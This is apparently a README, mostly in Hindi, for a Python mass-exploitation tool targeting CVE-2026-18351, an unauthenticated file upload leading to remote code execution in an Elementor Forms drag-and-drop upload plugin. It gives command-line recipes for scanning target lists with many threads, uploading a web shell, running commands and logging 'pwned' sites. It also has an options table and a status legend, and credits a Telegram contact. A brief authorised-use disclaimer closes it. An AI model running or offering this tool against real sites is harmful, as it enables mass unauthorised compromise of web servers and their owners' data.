CVE-2026-18351 के लिए मास एक्सप्लॉइट टूल, जो Elementor Forms <= 1.6.0 में अनऑथेंटिकेटेड आर्बिट्ररी फ़ाइल अपलोड से RCE तक का फ़ायदा उठाता है, जिसमें पैसिव प्रोबिंग, शेल अपलोड और कमांड एक्ज़ीक्यूशन शामिल है।
CVE-2026-18351 के लिए मास एक्सप्लॉइट टूल — Drag and Drop File Upload for Elementor Forms <= 1.6.0 में अनऑथेंटिकेटेड आर्बिट्ररी फ़ाइल अपलोड → RCE।
श्रेय johenlastgen | telegram @johenlastgen | चैनल @jlgnetworkredirect
कोई बाहरी निर्भरता नहीं — केवल Python मानक लाइब्रेरी का उपयोग करता है।
python3 --version # 3.6+
# Single target — passive check only (no upload)
python3 mass.py --url http://target.com --check
# Single target — exploit with default command (id)
python3 mass.py --url http://target.com --cmd id
# Single target — exploit with custom command
python3 mass.py --url http://target.com --cmd whoami
# Mass targets — passive check
python3 mass.py --list targets.txt --threads 50 --check
# Mass targets — exploit
python3 mass.py --list targets.txt --threads 50 --cmd id
# Mass targets — exploit with timeout tuning
python3 mass.py --list targets.txt --threads 100 --timeout 8 --cmd whoami
# Save full log
python3 mass.py --list targets.txt --output results.txt
# Save only vulnerable targets
python3 mass.py --list targets.txt --output-vuln vuln.txt
# Save only confirmed RCE targets
python3 mass.py --list targets.txt --output-pwned pwned.txt
# Combined output
python3 mass.py \
--list targets.txt \
--threads 50 \
--cmd id \
--output results.txt \
--output-vuln vuln.txt \
--output-pwned pwned.txt
| विकल्प | विवरण |
|---|---|
--url | एकल टारगेट URL |
--list FILE | टारगेट URL वाली फ़ाइल (प्रति पंक्ति एक) |
--check | केवल पैसिव प्रोब — कोई फ़ाइल अपलोड नहीं |
--cmd CMD | शेल पर निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id) |
--threads N | समवर्ती थ्रेड्स की संख्या (डिफ़ॉल्ट: 20) |
--timeout N | प्रति-रिक्वेस्ट टाइमआउट सेकंड में (डिफ़ॉल्ट: 10) |
--output FILE | पूर्ण लॉग फ़ाइल में सहेजें |
--output-vuln FILE | केवल वल्नरेबल टारगेट URL फ़ाइल में सहेजें |
--output-pwned FILE | केवल पुष्ट RCE टारगेट फ़ाइल में सहेजें |
| स्थिति | अर्थ |
|---|---|
PWNED | शेल अपलोड हुआ और RCE की पुष्टि हुई |
VULN-NO-EXEC | अपलोड स्वीकृत लेकिन शेल निष्पादन विफल |
PATCHED | अपलोड अस्वीकृत या nonce नहीं मिला |
ERROR | नेटवर्क या पार्स विफलता |
प्रति पंक्ति एक URL। # से शुरू होने वाली पंक्तियाँ अनदेखी की जाती हैं।
http://target1.com
https://target2.com
# this line is ignored
http://target3.com
यह प्रोजेक्ट केवल अधिकृत सुरक्षा आकलन, रक्षात्मक सुरक्षा अनुसंधान और भेद्यता सत्यापन के लिए प्रदान किया गया है।
इस सॉफ़्टवेयर का उपयोग करके, आप पुष्टि करते हैं कि आपके पास लक्ष्य प्रणालियों का आकलन करने के लिए स्पष्ट प्राधिकरण है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच निषिद्ध है और लागू कानूनों का उल्लंघन कर सकती है।
लेखक और योगदानकर्ता इस प्रोजेक्ट के अनधिकृत उपयोग को प्रोत्साहित या समर्थन नहीं करते हैं और इसके उपयोग से होने वाले किसी भी दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई ज़िम्मेदारी या दायित्व स्वीकार नहीं करते हैं।
JohenLastGen — JLG NETWORK